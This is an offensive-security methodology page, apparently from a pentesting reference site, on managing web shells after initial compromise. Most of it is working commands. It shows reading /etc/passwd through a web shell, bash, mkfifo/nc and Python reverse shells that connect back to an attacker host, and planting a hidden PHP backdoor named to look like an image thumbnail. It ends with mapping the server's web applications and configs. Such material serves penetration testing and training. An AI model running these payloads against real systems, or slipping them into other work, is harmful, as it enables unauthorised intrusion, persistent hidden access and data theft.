# Web Shell Management and Upgrade

> Covers deploying, managing, and upgrading web shells over HTTP/HTTPS for persistent post-exploitation access, including shell stabilisation and capability escalation.

- **URL:** https://hackindex.io/services/web/post-exploitation/web-shell-management
- **Path:** HTTP/HTTPS > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/services/web/post-exploitation.md)
- **Published:** 2026-03-28
- **Updated:** 2026-04-24

A web shell gives code execution but is fragile: it lives in one file, produces no interactive shell, and disappears if the application restarts or the file is detected. The first priority after landing a web shell is confirming the execution context, then upgrading to a stable reverse shell before doing anything else. Web shells are typically planted through [command injection](https://hackindex.io/services/web/exploitation/command-injection), [SQLi to RCE](https://hackindex.io/services/web/exploitation/sql-injection/sqli-to-rce), or [LFI exploitation](https://hackindex.io/services/web/exploitation/file-inclusion/local-file-inclusion-exploitation). After stabilizing access, harvest credentials from [web configuration files](https://hackindex.io/services/web/post-exploitation/credential-harvesting-from-web-configs). Enumeration through a web shell parameter is slow and error-prone compared to a proper interactive session.

Steps for effective web shell management after initial access:

- Confirm execution context: identify the running user, OS, and architecture
- Upgrade to a reverse shell for interactive access with tab completion and job control
- Stabilise the shell with pty spawn, stty settings, and TERM export
- Plant a secondary web shell in a less obvious location as a fallback
- Map the web root and identify other applications on the same server

## Confirm Execution Context

Establish what user, privileges, and environment you have before attempting anything else:

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=uname+-a"
# Linux target 5.15.0-91-generic x86_64 GNU/Linux
```

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=cat+/etc/passwd+|+grep+-v+nologin+|+grep+-v+false"
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/bin/sh
```

## Upgrade to Reverse Shell

Set up the listener first, then trigger the reverse shell through the web shell. Use URL encoding to handle special characters in the payload:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

If bash is not available or the redirect operator is filtered, use mkfifo:

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f"
```

Python fallback when nc and bash redirects are both unavailable:

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=python3 -c 'import socket,os,subprocess;s=socket.socket();s.connect((\"$LHOST\",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
```

## Stabilise the Shell

Raw nc shells have no tab completion, no arrow keys, and Ctrl+C kills the connection. Stabilise immediately after connecting:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Then background the shell with Ctrl+Z and configure the local terminal:

```bash
stty raw -echo && fg
```

```bash
export TERM=xterm && stty rows 50 cols 200
```

## Plant a Secondary Web Shell

Before moving on, plant a secondary shell in a less obvious location as a fallback. Name it something that blends with legitimate files:

```bash
echo '<?php system($_GET["0"]); ?>' > /var/www/html/assets/img/thumb.php
```

```bash
ls -la /var/www/html/assets/img/thumb.php
# -rw-r--r-- 1 www-data www-data 32 Mar 28 12:00 /var/www/html/assets/img/thumb.php
```

## Locate Other Web Application Files

Find the full web root structure and other web applications on the same server:

```bash
find /var/www /srv/http /usr/share/nginx /opt -name '*.php' -o -name '*.py' -o -name '*.rb' 2>/dev/null | head -30
```

```bash
cat /etc/nginx/sites-enabled/* 2>/dev/null | grep -iE 'root|server_name'
cat /etc/apache2/sites-enabled/* 2>/dev/null | grep -iE 'DocumentRoot|ServerName'
```

## References

- [PayloadsAllTheThings: Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - Reverse shell payloads for bash, python, nc, perl, and other languages
